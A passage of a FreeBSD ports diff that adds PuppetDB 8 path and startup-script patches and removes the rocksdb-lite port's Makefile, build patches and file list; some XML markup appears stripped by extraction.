ext/config/conf.d/config.ini "$(DESTDIR)$(confdir)/puppetdb/conf.d/config.ini.sample" ++ install -m 0644 ext/config/conf.d/repl.ini "$(DESTDIR)$(confdir)/puppetdb/conf.d/repl.ini.sample" ++ install -m 0644 ext/config/conf.d/jetty.ini "$(DESTDIR)$(confdir)/puppetdb/conf.d/jetty.ini.sample" ++ install -m 0644 ext/config/bootstrap.cfg "$(DESTDIR)$(confdir)/puppetdb/bootstrap.cfg.sample" ++ install -m 0644 ext/config/logback.xml "$(DESTDIR)$(confdir)/puppetdb/logback.xml.sample" ++ install -m 0644 ext/config/request-logging.xml "$(DESTDIR)$(confdir)/puppetdb/request-logging.xml.sample" + install -d -m 0755 "$(DESTDIR)$(datadir)/puppetdb/cli" + install -d -m 0755 "$(DESTDIR)$(datadir)/puppetdb/cli/apps" + install -d -m 0755 "$(DESTDIR)$(bindir)" diff --git a/databases/puppetdb8/files/patch-ext_bin_puppetdb b/databases/puppetdb8/files/patch-ext_bin_puppetdb new file mode 100644 index 00000000000..0a139b110d2 --- /dev/null +++ b/databases/puppetdb8/files/patch-ext_bin_puppetdb @@ -0,0 +1,15 @@ +--- ext/bin/puppetdb.orig 2016-03-17 04:17:10 UTC ++++ ext/bin/puppetdb +@@ -5,6 +5,12 @@ if [ -r "/etc/default/puppetdb" ] ; then + . /etc/default/puppetdb + elif [ -r "/etc/sysconfig/puppetdb" ] ; then + . /etc/sysconfig/puppetdb ++elif [ `uname` == "FreeBSD" ] ; then ++ CONFIG="%%PREFIX%%/etc/puppetdb/conf.d" ++ INSTALL_DIR="%%DATADIR%%" ++ JAVA_BIN="%%PREFIX%%/bin/java" ++ JAVA_ARGS="-Xmx192m" ++ USER="puppet" + elif [ `uname` == "OpenBSD" ] ; then + JAVA_BIN=$(javaPathHelper -c puppetdb) + JAVA_ARGS="-Xmx192m" diff --git a/databases/puppetdb8/files/patch-ext_cli_ssl-setup b/databases/puppetdb8/files/patch-ext_cli_ssl-setup new file mode 100644 index 00000000000..ab86d849142 --- /dev/null +++ b/databases/puppetdb8/files/patch-ext_cli_ssl-setup @@ -0,0 +1,11 @@ +--- ext/cli/ssl-setup.orig 2016-03-17 04:17:10 UTC ++++ ext/cli/ssl-setup +@@ -230,7 +230,7 @@ else + user=puppetdb + group=puppetdb + +- puppetdb_confdir="/etc/puppetlabs/puppetdb" ++ puppetdb_confdir="%%PREFIX%%/etc/puppetdb" + fi + + set -e diff --git a/databases/puppetdb8/files/patch-ext_config_conf.d_config.ini b/databases/puppetdb8/files/patch-ext_config_conf.d_config.ini new file mode 100644 index 00000000000..39006884050 --- /dev/null +++ b/databases/puppetdb8/files/patch-ext_config_conf.d_config.ini @@ -0,0 +1,15 @@ +--- ext/config/conf.d/config.ini.orig 2016-03-17 04:17:06 UTC ++++ ext/config/conf.d/config.ini +@@ -3,10 +3,10 @@ + + [global] + # Store mq/db data in a custom directory +-vardir = /opt/puppetlabs/server/data/puppetdb ++vardir = /var/db/puppetdb + + # Use an external logback config file +-logging-config = /etc/puppetlabs/puppetdb/logback.xml ++logging-config = %%PREFIX%%/etc/puppetdb/logback.xml + + [command-processing] + # How many command-processing threads to use, defaults to (CPUs / 2) diff --git a/databases/puppetdb8/files/patch-ext_config_conf.d_jetty.ini b/databases/puppetdb8/files/patch-ext_config_conf.d_jetty.ini new file mode 100644 index 00000000000..42d5665a0f6 --- /dev/null +++ b/databases/puppetdb8/files/patch-ext_config_conf.d_jetty.ini @@ -0,0 +1,8 @@ +--- ext/config/conf.d/jetty.ini.orig 2016-03-17 04:17:06 UTC ++++ ext/config/conf.d/jetty.ini +@@ -30,4 +30,4 @@ port = 8080 + + # Access logging configuration path. To turn off access logging + # comment out the line with `access-log-config=...` +-access-log-config = /etc/puppetlabs/puppetdb/request-logging.xml ++access-log-config = %%PREFIX%%/etc/puppetdb/request-logging.xml diff --git a/databases/puppetdb8/files/patch-ext_config_logback.xml b/databases/puppetdb8/files/patch-ext_config_logback.xml new file mode 100644 index 00000000000..08cb543440a --- /dev/null +++ b/databases/puppetdb8/files/patch-ext_config_logback.xml @@ -0,0 +1,29 @@ +--- ext/config/logback.xml.orig 2017-04-24 12:27:57.366296793 -0700 ++++ ext/config/logback.xml 2017-04-24 12:28:48.723259627 -0700 +@@ -6,10 +6,10 @@ + + + +- /var/log/puppetlabs/puppetdb/puppetdb.log ++ /var/log/puppetdb/puppetdb.log + true + +- /var/log/puppetlabs/puppetdb/puppetdb-%d{yyyy-MM-dd}.%i.log.gz ++ /var/log/puppetdb/puppetdb-%d{yyyy-MM-dd}.%i.log.gz + + 200MB + 90 +@@ -31,11 +31,11 @@ + level="info"/> + + +- /var/log/puppetlabs/puppetdb/puppetdb-status.log ++ /var/log/puppetdb/puppetdb-status.log + true + + +- /var/log/puppetlabs/puppetdb/puppetdb-status-%d{yyyy-MM-dd}.%i.log.gz ++ /var/log/puppetdb/puppetdb-status-%d{yyyy-MM-dd}.%i.log.gz + + 200MB + 90 diff --git a/databases/puppetdb8/files/patch-ext_config_request-logging.xml b/databases/puppetdb8/files/patch-ext_config_request-logging.xml new file mode 100644 index 00000000000..51b90d0e844 --- /dev/null +++ b/databases/puppetdb8/files/patch-ext_config_request-logging.xml @@ -0,0 +1,14 @@ +--- ext/config/request-logging.xml.orig 2017-04-24 12:32:16.604464262 -0700 ++++ ext/config/request-logging.xml 2017-04-24 12:32:46.404637027 -0700 +@@ -1,9 +1,9 @@ + + +- /var/log/puppetlabs/puppetdb/puppetdb-access.log ++ /var/log/puppetdb/puppetdb-access.log + true + +- /var/log/puppetlabs/puppetdb/puppetdb-access-%d{yyyy-MM-dd}.%i.log.gz ++ /var/log/puppetdb/puppetdb-access-%d{yyyy-MM-dd}.%i.log.gz + + 200MB + 90 diff --git a/databases/puppetdb8/files/pkg-message.in b/databases/puppetdb8/files/pkg-message.in new file mode 100644 index 00000000000..fba77304785 --- /dev/null +++ b/databases/puppetdb8/files/pkg-message.in @@ -0,0 +1,12 @@ +[ +{ type: install + message: < - -.if ${CHOSEN_COMPILER_TYPE} == clang -CXXFLAGS+= -Wno-inconsistent-missing-override -Wno-unused-parameter -Wno-unused-variable -Wno-unused-private-field -.endif - -post-patch: -.if (${ARCH} == amd64 || ${ARCH} == i386) && !empty(CFLAGS:M-march=*) - @${REINPLACE_CMD} -e 's| -march=native| ${CFLAGS:M-march=*}|' ${WRKSRC}/build_tools/build_detect_platform -.else - @${REINPLACE_CMD} -e 's| -march=native||' ${WRKSRC}/build_tools/build_detect_platform -.endif - -post-install: - ${MKDIR} ${STAGEDIR}${DATADIR}/ - cd ${WRKSRC}/ && ${INSTALL_PROGRAM} ${BENCHMARKS} ${TOOLS} ${STAGEDIR}${PREFIX}/bin/ - ${INSTALL_DATA} ${WRKSRC}/librocksdb${PKGNAMESUFFIX}_tools.so ${STAGEDIR}${PREFIX}/lib/ - ${STRIP_CMD} ${STAGEDIR}${PREFIX}/lib/librocksdb${PKGNAMESUFFIX}.so ${STAGEDIR}${PREFIX}/lib/librocksdb${PKGNAMESUFFIX}_tools.so - ${INSTALL_DATA} ${WRKSRC}/make_config.mk ${STAGEDIR}${DATADIR}/ - -.include diff --git a/databases/rocksdb-lite/distinfo b/databases/rocksdb-lite/distinfo deleted file mode 100644 index fb5cc02a5a3..00000000000 --- a/databases/rocksdb-lite/distinfo +++ /dev/null @@ -1,3 +0,0 @@ -TIMESTAMP = 1652122553 -SHA256 (facebook-rocksdb-v7.2.2_GH0.tar.gz) = c4ea6bd2e3ffe3f0f8921c699234d59108c9122d61b0ba2aa78358642a7b614e -SIZE (facebook-rocksdb-v7.2.2_GH0.tar.gz) = 9549844 diff --git a/databases/rocksdb-lite/files/patch-Makefile b/databases/rocksdb-lite/files/patch-Makefile deleted file mode 100644 index 2c820e4c7ab..00000000000 --- a/databases/rocksdb-lite/files/patch-Makefile +++ /dev/null @@ -1,40 +0,0 @@ ---- Makefile.orig 2022-03-10 06:51:01 UTC -+++ Makefile -@@ -220,17 +220,17 @@ AM_SHARE = $(AM_V_CCLD) $(CXX) $(PLATFORM_SHARED_LDFLA - # Detect what platform we're building on. - # Export some common variables that might have been passed as Make variables - # instead of environment variables. --dummy := $(shell (export ROCKSDB_ROOT="$(CURDIR)"; \ -- export CXXFLAGS="$(EXTRA_CXXFLAGS)"; \ -- export LDFLAGS="$(EXTRA_LDFLAGS)"; \ -- export COMPILE_WITH_ASAN="$(COMPILE_WITH_ASAN)"; \ -- export COMPILE_WITH_TSAN="$(COMPILE_WITH_TSAN)"; \ -- export COMPILE_WITH_UBSAN="$(COMPILE_WITH_UBSAN)"; \ -- export PORTABLE="$(PORTABLE)"; \ -- export ROCKSDB_NO_FBCODE="$(ROCKSDB_NO_FBCODE)"; \ -- export USE_CLANG="$(USE_CLANG)"; \ -- export LIB_MODE="$(LIB_MODE)"; \ -- "$(CURDIR)/build_tools/build_detect_platform" "$(CURDIR)/make_config.mk")) -+#dummy := $(shell (export ROCKSDB_ROOT="$(CURDIR)"; \ -+# export CXXFLAGS="$(EXTRA_CXXFLAGS)"; \ -+# export LDFLAGS="$(EXTRA_LDFLAGS)"; \ -+# export COMPILE_WITH_ASAN="$(COMPILE_WITH_ASAN)"; \ -+# export COMPILE_WITH_TSAN="$(COMPILE_WITH_TSAN)"; \ -+# export COMPILE_WITH_UBSAN="$(COMPILE_WITH_UBSAN)"; \ -+# export PORTABLE="$(PORTABLE)"; \ -+# export ROCKSDB_NO_FBCODE="$(ROCKSDB_NO_FBCODE)"; \ -+# export USE_CLANG="$(USE_CLANG)"; \ -+# export LIB_MODE="$(LIB_MODE)"; \ -+# "$(CURDIR)/build_tools/build_detect_platform" "$(CURDIR)/make_config.mk")) - # this file is generated by the previous line to set build flags and sources - include make_config.mk - -@@ -796,7 +796,7 @@ endif # PLATFORM_SHARED_EXT - blackbox_crash_test_with_ts whitebox_crash_test_with_ts - - --all: $(LIBRARY) $(BENCHMARKS) tools tools_lib test_libs $(TESTS) -+all: $(LIBRARY) $(BENCHMARKS) tools tools_lib test_libs # $(TESTS) - - all_but_some_tests: $(LIBRARY) $(BENCHMARKS) tools tools_lib test_libs $(ROCKSDBTESTS_SUBSET) - diff --git a/databases/rocksdb-lite/files/patch-aarch64 b/databases/rocksdb-lite/files/patch-aarch64 deleted file mode 100644 index 31790f59562..00000000000 --- a/databases/rocksdb-lite/files/patch-aarch64 +++ /dev/null @@ -1,14 +0,0 @@ ---- CMakeLists.txt.orig 2021-06-25 21:15:04 UTC -+++ CMakeLists.txt -@@ -612,6 +612,11 @@ if(HAVE_AUXV_GETAUXVAL) - add_definitions(-DROCKSDB_AUXV_GETAUXVAL_PRESENT) - endif() - -+check_cxx_symbol_exists(elf_aux_info sys/auxv.h HAVE_ELF_AUX_INFO) -+if(HAVE_ELF_AUX_INFO) -+ add_definitions(-DROCKSDB_AUXV_GETAUXVAL_PRESENT) -+endif() -+ - include_directories(${PROJECT_SOURCE_DIR}) - include_directories(${PROJECT_SOURCE_DIR}/include) - if(WITH_FOLLY_DISTRIBUTED_MUTEX) diff --git a/databases/rocksdb-lite/files/patch-build_tools-build_detect_platform b/databases/rocksdb-lite/files/patch-build_tools-build_detect_platform deleted file mode 100644 index cbf3251be4f..00000000000 --- a/databases/rocksdb-lite/files/patch-build_tools-build_detect_platform +++ /dev/null @@ -1,115 +0,0 @@ -Remove -fno-builtin-memcmp and -ltcmalloc - -% sed -i .orig 's| -fno-builtin-memcmp||; s| -ltcmalloc||' build_tools/build_detect_platform - ---- build_tools/build_detect_platform.orig 2022-02-17 23:56:08 UTC -+++ build_tools/build_detect_platform -@@ -145,7 +145,7 @@ PLATFORM_SHARED_VERSIONED=true - # generic port files (working on all platform by #ifdef) go directly in /port - GENERIC_PORT_FILES=`cd "$ROCKSDB_ROOT"; find port -name '*.cc' | tr "\n" " "` - --# On GCC, we pick libc's memcmp over GCC's memcmp via -fno-builtin-memcmp -+# On GCC, we pick libc's memcmp over GCC's memcmp via - case "$TARGET_OS" in - Darwin) - PLATFORM=OS_MACOSX -@@ -166,7 +166,7 @@ case "$TARGET_OS" in - PLATFORM=OS_LINUX - COMMON_FLAGS="$COMMON_FLAGS -DOS_LINUX" - if [ -z "$USE_CLANG" ]; then -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp" -+ COMMON_FLAGS="$COMMON_FLAGS" - else - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -latomic" - fi -@@ -193,21 +193,21 @@ EOF - ;; - SunOS) - PLATFORM=OS_SOLARIS -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp -D_REENTRANT -DOS_SOLARIS -m64" -+ COMMON_FLAGS="$COMMON_FLAGS -D_REENTRANT -DOS_SOLARIS -m64" - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -lpthread -lrt -static-libstdc++ -static-libgcc -m64" - # PORT_FILES=port/sunos/sunos_specific.cc - ;; - AIX) - PLATFORM=OS_AIX - CC=gcc -- COMMON_FLAGS="$COMMON_FLAGS -maix64 -pthread -fno-builtin-memcmp -D_REENTRANT -DOS_AIX -D__STDC_FORMAT_MACROS" -+ COMMON_FLAGS="$COMMON_FLAGS -maix64 -pthread -D_REENTRANT -DOS_AIX -D__STDC_FORMAT_MACROS" - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -pthread -lpthread -lrt -maix64 -static-libstdc++ -static-libgcc" - # PORT_FILES=port/aix/aix_specific.cc - ;; - FreeBSD) - PLATFORM=OS_FREEBSD - CXX=clang++ -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp -D_REENTRANT -DOS_FREEBSD" -+ COMMON_FLAGS="$COMMON_FLAGS -D_REENTRANT -DOS_FREEBSD" - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -lpthread" - # PORT_FILES=port/freebsd/freebsd_specific.cc - ;; -@@ -215,7 +215,7 @@ EOF - PLATFORM=OS_GNU_KFREEBSD - COMMON_FLAGS="$COMMON_FLAGS -DOS_GNU_KFREEBSD" - if [ -z "$USE_CLANG" ]; then -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp" -+ COMMON_FLAGS="$COMMON_FLAGS" - else - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -latomic" - fi -@@ -224,14 +224,14 @@ EOF - ;; - NetBSD) - PLATFORM=OS_NETBSD -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp -D_REENTRANT -DOS_NETBSD" -+ COMMON_FLAGS="$COMMON_FLAGS -D_REENTRANT -DOS_NETBSD" - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -lpthread -lgcc_s" - # PORT_FILES=port/netbsd/netbsd_specific.cc - ;; - OpenBSD) - PLATFORM=OS_OPENBSD - CXX=clang++ -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp -D_REENTRANT -DOS_OPENBSD" -+ COMMON_FLAGS="$COMMON_FLAGS -D_REENTRANT -DOS_OPENBSD" - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -pthread" - # PORT_FILES=port/openbsd/openbsd_specific.cc - FIND=gfind -@@ -239,7 +239,7 @@ EOF - ;; - DragonFly) - PLATFORM=OS_DRAGONFLYBSD -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp -D_REENTRANT -DOS_DRAGONFLYBSD" -+ COMMON_FLAGS="$COMMON_FLAGS -D_REENTRANT -DOS_DRAGONFLYBSD" - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -lpthread" - # PORT_FILES=port/dragonfly/dragonfly_specific.cc - ;; -@@ -249,7 +249,7 @@ EOF - PLATFORM_CXXFLAGS="-std=gnu++11" - COMMON_FLAGS="$COMMON_FLAGS -DCYGWIN" - if [ -z "$USE_CLANG" ]; then -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp" -+ COMMON_FLAGS="$COMMON_FLAGS" - else - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -latomic" - fi -@@ -258,7 +258,7 @@ EOF - ;; - OS_ANDROID_CROSSCOMPILE) - PLATFORM=OS_ANDROID -- COMMON_FLAGS="$COMMON_FLAGS -fno-builtin-memcmp -D_REENTRANT -DOS_ANDROID -DROCKSDB_PLATFORM_POSIX" -+ COMMON_FLAGS="$COMMON_FLAGS -D_REENTRANT -DOS_ANDROID -DROCKSDB_PLATFORM_POSIX" - PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS " # All pthread features are in the Android C library - # PORT_FILES=port/android/android.cc - CROSS_COMPILE=true -@@ -448,9 +448,9 @@ EOF - if ! test $JEMALLOC && ! test $ROCKSDB_DISABLE_TCMALLOC; then - # jemalloc is not available. Let's try tcmalloc - if echo 'int main() {}' | $CXX $PLATFORM_CXXFLAGS -x c++ - -o test.o \ -- -ltcmalloc 2>/dev/null; then -- PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS -ltcmalloc" -- JAVA_LDFLAGS="$JAVA_LDFLAGS -ltcmalloc" -+ 2>/dev/null; then -+ PLATFORM_LDFLAGS="$PLATFORM_LDFLAGS" -+ JAVA_LDFLAGS="$JAVA_LDFLAGS" - fi - fi - diff --git a/databases/rocksdb-lite/files/patch-db-db_test_util.cc b/databases/rocksdb-lite/files/patch-db-db_test_util.cc deleted file mode 100644 index 472503e88f1..00000000000 --- a/databases/rocksdb-lite/files/patch-db-db_test_util.cc +++ /dev/null @@ -1,120 +0,0 @@ ---- db/db_test_util.cc.orig 2021-06-25 21:15:04 UTC -+++ db/db_test_util.cc -@@ -95,9 +95,11 @@ DBTestBase::DBTestBase(const std::string path, bool en - } - - DBTestBase::~DBTestBase() { -+#ifndef NDEBUG - ROCKSDB_NAMESPACE::SyncPoint::GetInstance()->DisableProcessing(); - ROCKSDB_NAMESPACE::SyncPoint::GetInstance()->LoadDependency({}); - ROCKSDB_NAMESPACE::SyncPoint::GetInstance()->ClearAllCallBacks(); -+#endif - Close(); - Options options; - options.db_paths.emplace_back(dbname_, 0); -@@ -347,6 +349,7 @@ Options DBTestBase::GetOptions( - Options options = default_options; - BlockBasedTableOptions table_options; - bool set_block_based_table_factory = true; -+#ifndef NDEBUG - #if !defined(OS_MACOSX) && !defined(OS_WIN) && !defined(OS_SOLARIS) && \ - !defined(OS_AIX) - ROCKSDB_NAMESPACE::SyncPoint::GetInstance()->ClearCallBack( -@@ -354,6 +357,7 @@ Options DBTestBase::GetOptions( - ROCKSDB_NAMESPACE::SyncPoint::GetInstance()->ClearCallBack( - "NewWritableFile:O_DIRECT"); - #endif -+#endif - - bool can_allow_mmap = IsMemoryMappedAccessSupported(); - switch (option_config) { -@@ -408,7 +412,9 @@ Options DBTestBase::GetOptions( - options.use_direct_reads = true; - options.use_direct_io_for_flush_and_compaction = true; - options.compaction_readahead_size = 2 * 1024 * 1024; -+#ifndef NDEBUG - SetupSyncPointsToMockDirectIO(); -+#endif - break; - } - #endif // ROCKSDB_LITE -@@ -1124,6 +1130,7 @@ std::string DBTestBase::FilesPerLevel(int cf) { - - #endif // !ROCKSDB_LITE - -+#ifndef NDEBUG - std::vector DBTestBase::GetBlobFileNumbers() { - VersionSet* const versions = dbfull()->TEST_GetVersionSet(); - assert(versions); -@@ -1148,6 +1155,7 @@ std::vector DBTestBase::GetBlobFileNumbers() - - return result; - } -+#endif - - size_t DBTestBase::CountFiles() { - size_t count = 0; -@@ -1230,6 +1238,7 @@ void DBTestBase::FillLevels(const std::string& smalles - } - - void DBTestBase::MoveFilesToLevel(int level, int cf) { -+#ifndef NDEBUG - for (int l = 0; l < level; ++l) { - if (cf > 0) { - EXPECT_OK(dbfull()->TEST_CompactRange(l, nullptr, nullptr, handles_[cf])); -@@ -1237,13 +1246,16 @@ void DBTestBase::MoveFilesToLevel(int level, int cf) { - EXPECT_OK(dbfull()->TEST_CompactRange(l, nullptr, nullptr)); - } - } -+#endif - } - - #ifndef ROCKSDB_LITE - void DBTestBase::DumpFileCounts(const char* label) { - fprintf(stderr, "---\n%s:\n", label); -+#ifndef NDEBUG - fprintf(stderr, "maxoverlap: %" PRIu64 "\n", - dbfull()->TEST_MaxNextLevelOverlappingBytes()); -+#endif - for (int level = 0; level < db_->NumberLevels(); level++) { - int num = NumTableFilesAtLevel(level); - if (num > 0) { -@@ -1284,10 +1296,12 @@ void DBTestBase::GenerateNewFile(int cf, Random* rnd, - ASSERT_OK(Put(cf, Key(*key_idx), rnd->RandomString((i == 99) ? 1 : 990))); - (*key_idx)++; - } -+#ifndef NDEBUG - if (!nowait) { - ASSERT_OK(dbfull()->TEST_WaitForFlushMemTable()); - ASSERT_OK(dbfull()->TEST_WaitForCompact()); - } -+#endif - } - - // this will generate non-overlapping files since it keeps increasing key_idx -@@ -1296,10 +1310,12 @@ void DBTestBase::GenerateNewFile(Random* rnd, int* key - ASSERT_OK(Put(Key(*key_idx), rnd->RandomString((i == 99) ? 1 : 990))); - (*key_idx)++; - } -+#ifndef NDEBUG - if (!nowait) { - ASSERT_OK(dbfull()->TEST_WaitForFlushMemTable()); - ASSERT_OK(dbfull()->TEST_WaitForCompact()); - } -+#endif - } - - const int DBTestBase::kNumKeysByGenerateNewRandomFile = 51; -@@ -1309,10 +1325,12 @@ void DBTestBase::GenerateNewRandomFile(Random* rnd, bo - ASSERT_OK(Put("key" + rnd->RandomString(7), rnd->RandomString(2000))); - } - ASSERT_OK(Put("key" + rnd->RandomString(7), rnd->RandomString(200))); -+#ifndef NDEBUG - if (!nowait) { - ASSERT_OK(dbfull()->TEST_WaitForFlushMemTable()); - ASSERT_OK(dbfull()->TEST_WaitForCompact()); - } -+#endif - } - - std::string DBTestBase::IterStatus(Iterator* iter) { diff --git a/databases/rocksdb-lite/files/patch-memory-arena.cc b/databases/rocksdb-lite/files/patch-memory-arena.cc deleted file mode 100644 index db76c877c68..00000000000 --- a/databases/rocksdb-lite/files/patch-memory-arena.cc +++ /dev/null @@ -1,11 +0,0 @@ ---- memory/arena.cc.orig 2021-06-25 21:15:04 UTC -+++ memory/arena.cc -@@ -29,7 +29,7 @@ const size_t Arena::kInlineSize; - - const size_t Arena::kMinBlockSize = 4096; - const size_t Arena::kMaxBlockSize = 2u << 30; --static const int kAlignUnit = alignof(max_align_t); -+static const int kAlignUnit = alignof(std::max_align_t); - - size_t OptimizeBlockSize(size_t block_size) { - // Make sure block_size is in optimal range diff --git a/databases/rocksdb-lite/files/patch-memory-arena.h b/databases/rocksdb-lite/files/patch-memory-arena.h deleted file mode 100644 index a1dda117600..00000000000 --- a/databases/rocksdb-lite/files/patch-memory-arena.h +++ /dev/null @@ -1,11 +0,0 @@ ---- memory/arena.h.orig 2018-01-31 01:15:39 UTC -+++ memory/arena.h -@@ -82,7 +82,7 @@ class Arena : public Allocator { - } - - private: -- char inline_block_[kInlineSize] __attribute__((__aligned__(alignof(max_align_t)))); -+ char inline_block_[kInlineSize] __attribute__((__aligned__(alignof(std::max_align_t)))); - // Number of bytes allocated in one block - const size_t kBlockSize; - // Array of new[] allocated memory blocks diff --git a/databases/rocksdb-lite/files/patch-memory-arena_test.cc b/databases/rocksdb-lite/files/patch-memory-arena_test.cc deleted file mode 100644 index ccbdef9fc0b..00000000000 --- a/databases/rocksdb-lite/files/patch-memory-arena_test.cc +++ /dev/null @@ -1,11 +0,0 @@ ---- memory/arena_test.cc.orig 2018-01-31 01:15:39 UTC -+++ memory/arena_test.cc -@@ -91,7 +91,7 @@ static void ApproximateMemoryUsageTest(s - ASSERT_EQ(kZero, arena.ApproximateMemoryUsage()); - - // allocate inline bytes -- const size_t kAlignUnit = alignof(max_align_t); -+ const size_t kAlignUnit = alignof(std::max_align_t); - EXPECT_TRUE(arena.IsInInlineBlock()); - arena.AllocateAligned(kAlignUnit); - EXPECT_TRUE(arena.IsInInlineBlock()); diff --git a/databases/rocksdb-lite/files/patch-port-stack_trace.cc b/databases/rocksdb-lite/files/patch-port-stack_trace.cc deleted file mode 100644 index 3b83846c510..00000000000 --- a/databases/rocksdb-lite/files/patch-port-stack_trace.cc +++ /dev/null @@ -1,20 +0,0 @@ ---- port/stack_trace.cc.orig 2021-06-25 21:15:04 UTC -+++ port/stack_trace.cc -@@ -135,7 +135,7 @@ void PrintStack(int first_frames_to_skip) { - void* frames[kMaxFrames]; - - auto num_frames = backtrace(frames, kMaxFrames); -- PrintStack(&frames[first_frames_to_skip], num_frames - first_frames_to_skip); -+ PrintStack(&frames[first_frames_to_skip], (int) (num_frames - first_frames_to_skip)); - } - - void PrintAndFreeStack(void* callstack, int num_frames) { -@@ -148,7 +148,7 @@ void* SaveStack(int* num_frames, int first_frames_to_s - void* frames[kMaxFrames]; - - auto count = backtrace(frames, kMaxFrames); -- *num_frames = count - first_frames_to_skip; -+ *num_frames = (int) (count - first_frames_to_skip); - void* callstack = malloc(sizeof(void*) * *num_frames); - memcpy(callstack, &frames[first_frames_to_skip], sizeof(void*) * *num_frames); - return callstack; diff --git a/databases/rocksdb-lite/files/patch-powerpc64 b/databases/rocksdb-lite/files/patch-powerpc64 deleted file mode 100644 index 1cebaf2dbac..00000000000 --- a/databases/rocksdb-lite/files/patch-powerpc64 +++ /dev/null @@ -1,25 +0,0 @@ ---- utilities/transactions/lock/range/range_tree/lib/portability/toku_time.h.orig 2021-12-10 22:56:20 UTC -+++ utilities/transactions/lock/range/range_tree/lib/portability/toku_time.h -@@ -58,7 +58,7 @@ Copyright (c) 2006, 2015, Percona and/or its affiliate - #include - #include - #include --#if defined(__powerpc__) -+#if defined(__powerpc__) && defined(__linux__) - #include - #endif - -@@ -132,7 +132,13 @@ static inline tokutime_t toku_time_now(void) { - __asm __volatile__("mrs %[rt], cntvct_el0" : [ rt ] "=r"(result)); - return result; - #elif defined(__powerpc__) -+#ifdef __linux__ - return __ppc_get_timebase(); -+#elif defined(__FreeBSD__) -+ int64_t tbr; -+ asm volatile("mfspr %0, 268" : "=r"(tbr)); -+ return tbr; -+#endif - #elif defined(__s390x__) - uint64_t result; - asm volatile("stckf %0" : "=Q"(result) : : "cc"); diff --git a/databases/rocksdb-lite/files/patch-third-party-gtest-1.8.1-fused-src-gtest-gtest-all.cc b/databases/rocksdb-lite/files/patch-third-party-gtest-1.8.1-fused-src-gtest-gtest-all.cc deleted file mode 100644 index 73b2d08ed88..00000000000 --- a/databases/rocksdb-lite/files/patch-third-party-gtest-1.8.1-fused-src-gtest-gtest-all.cc +++ /dev/null @@ -1,11 +0,0 @@ ---- third-party/gtest-1.8.1/fused-src/gtest/gtest-all.cc.orig 2020-05-27 23:38:10 UTC -+++ third-party/gtest-1.8.1/fused-src/gtest/gtest-all.cc -@@ -35,7 +35,7 @@ - - // This line ensures that gtest.h can be compiled on its own, even - // when it's fused. --#include "gtest/gtest.h" -+#include "gtest.h" - - // The following lines pull in the real gtest *.cc files. - // Copyright 2005, Google Inc. diff --git a/databases/rocksdb-lite/pkg-descr b/databases/rocksdb-lite/pkg-descr deleted file mode 100644 index 75db19a91d8..00000000000 --- a/databases/rocksdb-lite/pkg-descr +++ /dev/null @@ -1,9 +0,0 @@ -RocksDB is an embeddable persistent key-value store for fast storage. RocksDB -can also be the foundation for a client-server database but our current focus is -on embedded workloads. - -RocksDB builds on LevelDB to be scalable to run on servers with many CPU cores, -to efficiently use fast storage, to support IO-bound, in-memory and write-once -workloads, and to be flexible to allow for innovation. - -See also: https://github.com/facebook/rocksdb diff --git a/databases/rocksdb-lite/pkg-plist b/databases/rocksdb-lite/pkg-plist deleted file mode 100644 index 43d53a2c7a6..00000000000 --- a/databases/rocksdb-lite/pkg-plist +++ /dev/null @@ -1,122 +0,0 @@ -bin/blob_dump -bin/cache_bench -bin/db_bench -bin/db_repl_stress -bin/db_sanity_test -bin/db_stress -bin/ldb -bin/memtablerep_bench -bin/persistent_cache_bench -bin/range_del_aggregator_bench -bin/rocksdb_dump -bin/rocksdb_undump -bin/sst_dump -bin/table_reader_bench -bin/trace_analyzer -bin/write_stress -include/rocksdb/advanced_options.h -include/rocksdb/c.h -include/rocksdb/cache.h -include/rocksdb/cache_bench_tool.h -include/rocksdb/cleanable.h -include/rocksdb/compaction_filter.h -include/rocksdb/compaction_job_stats.h -include/rocksdb/comparator.h -include/rocksdb/compression_type.h -include/rocksdb/concurrent_task_limiter.h -include/rocksdb/configurable.h -include/rocksdb/convenience.h -include/rocksdb/customizable.h -include/rocksdb/data_structure.h -include/rocksdb/db.h -include/rocksdb/db_bench_tool.h -include/rocksdb/db_dump_tool.h -include/rocksdb/db_stress_tool.h -include/rocksdb/env.h -include/rocksdb/env_encryption.h -include/rocksdb/experimental.h -include/rocksdb/file_checksum.h -include/rocksdb/file_system.h -include/rocksdb/filter_policy.h -include/rocksdb/flush_block_policy.h -include/rocksdb/functor_wrapper.h -include/rocksdb/io_status.h -include/rocksdb/iostats_context.h -include/rocksdb/iterator.h -include/rocksdb/ldb_tool.h -include/rocksdb/listener.h -include/rocksdb/memory_allocator.h -include/rocksdb/memtablerep.h -include/rocksdb/merge_operator.h -include/rocksdb/metadata.h -include/rocksdb/options.h -include/rocksdb/perf_context.h -include/rocksdb/perf_level.h -include/rocksdb/persistent_cache.h -include/rocksdb/rate_limiter.h -include/rocksdb/rocksdb_namespace.h -include/rocksdb/secondary_cache.h -include/rocksdb/slice.h -include/rocksdb/slice_transform.h -include/rocksdb/snapshot.h -include/rocksdb/sst_dump_tool.h -include/rocksdb/sst_file_manager.h -include/rocksdb/sst_file_reader.h -include/rocksdb/sst_file_writer.h -include/rocksdb/sst_partitioner.h -include/rocksdb/statistics.h -include/rocksdb/stats_history.h -include/rocksdb/status.h -include/rocksdb/system_clock.h -include/rocksdb/table.h -include/rocksdb/table_properties.h -include/rocksdb/thread_status.h -include/rocksdb/threadpool.h 